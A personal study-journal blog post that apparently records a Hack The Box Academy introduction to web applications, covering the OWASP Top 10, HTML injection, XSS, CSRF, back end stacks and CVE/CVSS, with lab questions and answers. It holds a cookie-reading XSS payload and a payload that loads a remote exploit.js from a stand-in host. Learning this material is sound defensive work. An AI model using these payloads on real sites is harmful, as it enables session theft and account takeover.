Day 2 | Web Applications!

Day 2!

Introduction to Web Applications

Web applications are interactive applications that run on web browsers. Web applications usually adopt a client-server architecture to run and handle interactions.

Security Risks of Web Applications

Web application penetration testing is an increasingly critical skill to learn.

That’s why I’m learning it!

One of the most common procedures is to start by reviewing a web application’s front end components, such as HTML, CSS and JavaScript (also known as the front end trinity), and attempt to find vulnerabilities such as Sensitive Data Exposure and Cross-Site Scripting (XSS). Once all front end components are thoroughly tested, we would typically review the web application’s core functionality and the interaction between the browser and the webserver to enumerate the technologies the webserver uses and look for exploitable flaws. We typically assess web applications from both an unauthenticated and authenticated perspective (if the application has login functionality) to maximize coverage and review every possible attack scenario.

Hey that’s a flow I should follow!

Flaw	Real-world Scenario
SQL injection	Obtaining Active Directory usernames and performing a password spraying attack against a VPN or email portal.
File Inclusion	Reading source code to find a hidden page or directory which exposes additional functionality that can be used to gain remote code execution.
Unrestricted File Upload	A web application that allows a user to upload a profile picture that allows any file type to be uploaded (not just images). This can be leveraged to gain full control of the web application server by uploading malicious code.
Insecure Direct Object Referencing (IDOR)	When combined with a flaw such as broken access control, this can often be used to access another user’s files or functionality. An example would be editing your user profile browsing to a page such as `/user/701/edit-profile`. If we can change the 701 to 702, we may edit another user’s profile!
Broken Access Control	Another example is an application that allows a user to register a new account. If the account registration functionality is designed poorly, a user may perform privilege escalation when registering. Consider the POST request when registering a new user, which submits the data `username=bjones&password=Welcome1&[email protected]&roleid=3`. What if we can manipulate the `roleid` parameter and change it to 0 or 1. We have seen real-world applications where this was the case, and it was possible to quickly register an admin user and access many unintended features of the web application.

I’ve done the basics of these attacks many times but never really tried to master them.

Web Application Layout

Web Application Infrastructure

Client-Server
One Server
Many Servers - One Database
Many Servers - Many Databases

This sounds very similar to something I’ve heard before. Oh I think I studied this in university.

We can think of microservices as independent components of the web application, which in most cases are programmed for one task only.

Cloud providers such as AWS, GCP, Azure, among others, offer serverless architectures. These platforms provide application frameworks to build such web applications without having to worry about the servers themselves.

I know I’m skipping lots of stuff again, but I swear I’m reading all of it!

Look here’s something interesting to write down:

The top 20 most common mistakes web developers make that are essential for us as penetration testers are:

No.	Mistake
1	Permitting Invalid Data to Enter the Database
2	Focusing on the System as a Whole
3	Establishing Personally Developed Security Methods
4	Treating Security to be Your Last Step
5	Developing Plain Text Password Storage
6	Creating Weak Passwords
7	Storing Unencrypted Data in the Database
8	Depending Excessively on the Client Side
9	Being Too Optimistic
10	Permitting Variables via the URL Path Name
11	Trusting third-party code
12	Hard-coding backdoor accounts
13	Unverified SQL injections
14	Remote file inclusions
15	Insecure data handling
16	Failing to encrypt data properly
17	Not using a secure cryptographic system
18	Ignoring layer 8
19	Review user actions
20	Web Application Firewall misconfigurations

These mistakes lead to the OWASP Top 10 vulnerabilities for web applications:

Broken Access Control
Cryptographic Failures
Injection
Insecure Design
Security Misconfiguration
Vulnerable and Outdated Components
Identification and Authentication Failures
Software and Data Integrity Failures
Security Logging and Monitoring Failures
Server-Side Request Forgery (SSRF)

Aw man I would so love to master all of these but it’s so overwhelming! Gotta take it one step at a time I guess.

HTML

HTML is at the very core of any web page we see on the internet.

<!DOCTYPE html>
<html>
    <head>
        <title>Page Title</title>
    </head>
    <body>
        <h1>A Heading</h1>
        <p>A Paragraph</p>
    </body>
</html>

This section had a task:

What is the HTML tag used to show an image? That’s mr. <img>

CSS

CSS (Cascading Style Sheets) is the stylesheet language used alongside HTML to format and set the style of HTML elements.

and I hate it with a passion!

body {
  background-color: black;
}

h1 {
  color: white;
  text-align: center;
}

p {
  font-family: helvetica;
  font-size: 10px;
}

Q: What is the CSS "property: value" used to make an HTML element's text aligned to the left?

A: text-align: left;

I had to try multiple times because I didn’t think the semicolon was necessary. Turns out it is.

JavaScript

JavaScript is one of the most used languages in the world.

and it’s my favorite!

There wasn’t much about JavaScript here, but I know a lot about it already.

Sensitive Data Exposure

Now we’re getting into the juicy stuff!

All of the front end components we covered are interacted with on the client-side. Therefore, if they are attacked, they do not pose a direct threat to the core back end of the web application and usually will not lead to permanent damage. However, as these components are executed on the client-side, they put the end-user in danger of being attacked and exploited if they do have any vulnerabilities. If a front end vulnerability is leveraged to attack admin users, it could result in unauthorized access, access to sensitive data, service disruption, and more.

Sensitive Data Exposure refers to the availability of sensitive data in clear-text to the end-user. This is usually found in the source code of the web page or page source on the front end of web applications.

This is one of the first things I look for when I start testing a web application.

The task: Check the above login form for exposed passwords. Submit the password as the answer.

It was pretty simple. I’m still waiting for the harder onces.

$ curl <ip>
<!DOCTYPE html>
<html>
<style>
    body {
        background-color: #151D2B;
    }

    form {
        background-color: #1A2332;
        width: 25%;
        margin: auto;
        border-radius: 10px;
        color: white;
        font-family: Arial, Helvetica, sans-serif;
    }

    input[type=text],
    input[type=password] {
        background-color: #101927;
        width: 100%;
        padding: 12px 20px;
        margin: 8px 0;
        display: inline-block;
        border: 1px solid #101927;
        box-sizing: border-box;
        border-radius: 10px;
        color: white;
    }

    button {
        background-color: #2A86FF;
        color: white;
        padding: 14px 20px;
        margin: 8px 0;
        border: none;
        cursor: pointer;
        width: 100%;
        border-radius: 10px;
    }

    button:hover {
        opacity: 0.8;
    }

    .container {
        padding: 16px;
    }
</style>
<form action="#" method="post">

    <div class="container">
        <label for="uname"><b>Username</b></label>
        <input type="text" required>

        <label for="psw"><b>Password</b></label>
        <input type="password" required>

        <!-- TODO: remove test credentials admin:<password-was-here> -->

        <button type="submit">Login</button>
    </div>
</form>

</html>

HTML Injection

HTML injection occurs when unfiltered user input is displayed on the page. This can either be through retrieving previously submitted code, like retrieving a user comment from the back end database, or by directly displaying unfiltered user input through JavaScript on the front end.

The following example is a very basic web page with a single button “Click to enter your name.” When we click on the button, it prompts us to input our name and then displays our name as “Your name is …”:

If no input sanitization is in place, this is potentially an easy target for HTML Injection and Cross-Site Scripting (XSS) attacks. We take a look at the page source code and see no input sanitization in place whatsoever, as the page takes user input and directly displays it:

<!DOCTYPE html>
<html>

<body>
    <button onclick="inputFunction()">Click to enter your name</button>
    <p id="output"></p>

    <script>
        function inputFunction() {
            var input = prompt("Please enter your name", "");

            if (input != null) {
                document.getElementById("output").innerHTML = "Your name is " + input;
            }
        }
    </script>
</body>

</html>

To test for HTML Injection, we can simply input a small snippet of HTML code as our name, and see if it is displayed as part of the page. We will test the following code, which changes the background image of the web page:

<style> body { background-image: url('https://academy.hackthebox.com/images/logo.svg'); } </style>

Once we input it, we see that the web page’s background image changes instantly:

In this example, as everything is being carried out on the front end, refreshing the web page would reset everything back to normal.

Awesome!

Q: What text would be displayed on the page if we use the following payload as our input: <a href="http://www.hackthebox.com">Click Me</a>

A: Your name is Click Me

Cross-Site Scripting (XSS)

XSS involves the injection of JavaScript code to perform more advanced attacks on the client-side, instead of merely injecting HTML code. There are three main types of XSS:

Type	Description
Reflected XSS	Occurs when user input is displayed on the page after processing (e.g., search result or error message).
Stored XSS	Occurs when user input is stored in the back end database and then displayed upon retrieval (e.g., posts or comments).
DOM XSS	Occurs when user input is directly shown in the browser and is written to an HTML DOM object (e.g., vulnerable username or page title).

In the example we saw for HTML Injection, there was no input sanitization whatsoever. Therefore, it may be possible for the same page to be vulnerable to XSS attacks. We can try to inject the following DOM XSS JavaScript code as a payload, which should show us the cookie value for the current user:

#"><img src=/ onerror=alert(document.cookie)>

Once we input our payload and hit ok, we see that an alert window pops up with the cookie value in it:

An attacker can leverage this to steal cookie sessions and send them to themselves and attempt to use the cookie value to authenticate to the victim’s account. The same attack can be used to perform various types of other attacks against a web application’s users. XSS is a vast topic that will be covered in-depth in later modules.

The task was super easy, barely an inconvenience:

Q: Try to use XSS to get the cookie value in the above page

I used the same javascript provided in the example above.

Cross-Site Request Forgery (CSRF)

The third type of front end vulnerability that is caused by unfiltered user input is Cross-Site Request Forgery (CSRF). CSRF attacks may utilize XSS vulnerabilities to perform certain queries, and API calls on a web application that the victim is currently authenticated to. This would allow the attacker to perform actions as the authenticated user. It may also utilize other vulnerabilities to perform the same functions, like utilizing HTTP parameters for attacks.

Very interesting stuff.

CSRF can also be leveraged to attack admins and gain access to their accounts. Admins usually have access to sensitive functions, which can sometimes be used to attack and gain control over the back-end server (depending on the functionality provided to admins within a given web application). Following this example, instead of using JavaScript code that would return the session cookie, we would load a remote .js (JavaScript) file, as follows:

#"><script src="//www.example.com/exploit.js"></script>

The exploit.js file would contain the malicious JavaScript code that changes the user’s password. Developing the exploit.js in this case requires knowledge of this web application’s password changing procedure and APIs. The attacker would need to create JavaScript code that would replicate the desired functionality and automatically carry it out (i.e., JavaScript code that changes our password for this specific web application).

Prevention

Type	Description
Sanitization	Removing special characters and non-standard characters from user input before displaying it or storing it.
Validation	Ensuring that submitted user input matches the expected format (i.e., submitted email matched email format)

To defend against XSS, modern browsers have built-in protections that block the automatic execution of Javascript code. In the case of CSRF, most modern web applications include anti-CSRF mechanisms, such as requiring a unique token for each session or request. Additionally, HTTP-level defenses like the SameSite cookie attribute (SameSite=Strict or Lax) can restrict browsers from including authentication cookies in cross-origin requests. Functional protections, like requiring the user to input their password before changing it, can also help mitigate the impact of CSRF. Despite these security measures, they can still be bypassed in certain scenarios. As a result, vulnerabilities like XSS and CSRF continue to pose significant risks to web application users. These defenses should be treated as additional layers of protection, not primary safeguards—developers must ensure that their applications are secure by design and not inherently vulnerable to such attacks.

There was no task in this section. Unfortunate, but I’m sure these attacks will come up again.

Back End Servers

The back end server contains the other 3 back end components:

Web Server
Database
Development Framework

Combinations	Components
LAMP	Linux, Apache, MySQL, and PHP.
WAMP	Windows, Apache, MySQL, and PHP.
WINS	Windows, IIS, .NET, and SQL Server
MAMP	macOS, Apache, MySQL, and PHP.
XAMPP	Cross-Platform, Apache, MySQL, and PHP/PERL.

Q: What operating system is 'WAMP' used with?

A: Windows

Web Servers

A web server is an application that runs on the back end server, which handles all of the HTTP traffic from the client-side browser, routes it to the requested pages, and finally responds to the client-side browser. Web servers usually run on TCP ports 80 or 443, and are responsible for connecting end-users to various parts of the web application, in addition to handling their various responses.

Q: If a web server returns an HTTP code 201, what does it stand for?

A: Created

Databases

Web applications utilize back end databases to store various content and information related to the web application. This can be core web application assets like images and files, web application content like posts and updates, or user data like usernames and passwords. This allows web applications to easily and quickly store and retrieve data and enable dynamic content that is different for each user.

I promise I read through the discussion of popular SQL and NoSQL databases. I just don’t feel like writing it all down here.

Q: What type of database is Google's Firebase Database?

A: NoSQL

Development Frameworks & APIs

In addition to web servers that can host web applications in various languages, there are many common web development frameworks that help in developing core web application files and functionality.

Laravel (PHP): usually used by startups and smaller companies, as it is powerful yet easy to develop for.
Express (Node.JS): used by PayPal, Yahoo, Uber, IBM, and MySpace.
Django (Python): used by Google, YouTube, Instagram, Mozilla, and Pinterest.
Rails (Ruby): used by GitHub, Hulu, Twitch, Airbnb, and even Twitter in the past.

APIs

For the front end component to interact with the back end and ask for certain tasks to be carried out, they utilize APIs to ask the back end component for a specific task with specific input. The back end components process these requests, perform the necessary functions, and return a certain response to the front end components, which finally renderers the end user’s output on the client-side.

Web APIs

An API (Application Programming Interface) is an interface within an application that specifies how the application can interact with other applications. For Web Applications, it is what allows remote access to functionality on back end components. APIs are not exclusive to web applications and are used for software applications in general. Web APIs are usually accessed over the HTTP protocol and are usually handled and translated through web servers.

And then there is talk of SOAP and REST.

I know about REST but this is the first time I’m hearing about SOAP.

Task: Use GET request '/index.php?id=0' to search for the name of the user with id number 1?

Too simple.

Common Web Vulnerabilities

There was brief introduction to the following vulnerabilities:

Broken Authentication/Access Control
Malicious File Upload
Command Injection
SQL Injection

Public Vulnerabilities

This section talked about CVE and CVSS. Both of which I know the basics of but never got into how they work.

Public CVE

A CVE (Common Vulnerabilities and Exposures) is a publicly disclosed cybersecurity vulnerability or exposure that has been assigned a unique identifier by the CVE program. The CVE program is managed by the MITRE Corporation, a non-profit organization that works in partnership with government agencies, private companies, and other organizations to identify and catalog cybersecurity vulnerabilities.

CVSS

The CVSS (Common Vulnerability Scoring System) is a standardized framework for rating the severity of cybersecurity vulnerabilities. It provides a numerical score ranging from 0 to 10, which indicates the relative severity of a vulnerability based on its characteristics and potential impact. The CVSS score is calculated based on several factors, including the ease of exploitation, the potential impact on confidentiality, integrity, and availability, and the level of authentication required to exploit the vulnerability.

Q: What is the CVSS v2.0 score of the public vulnerability CVE-2017-0144?

A: 9.3

Final Thoughts

Today was a lot of information. I was familiar with most of the information but it’s good to refresh my memory. The last section about CVE and CVSS was something very new to me. I didn’t know how they are calculated and how they work. I’m sure I’ll be using them a lot in the future.

2 down, 18 to go!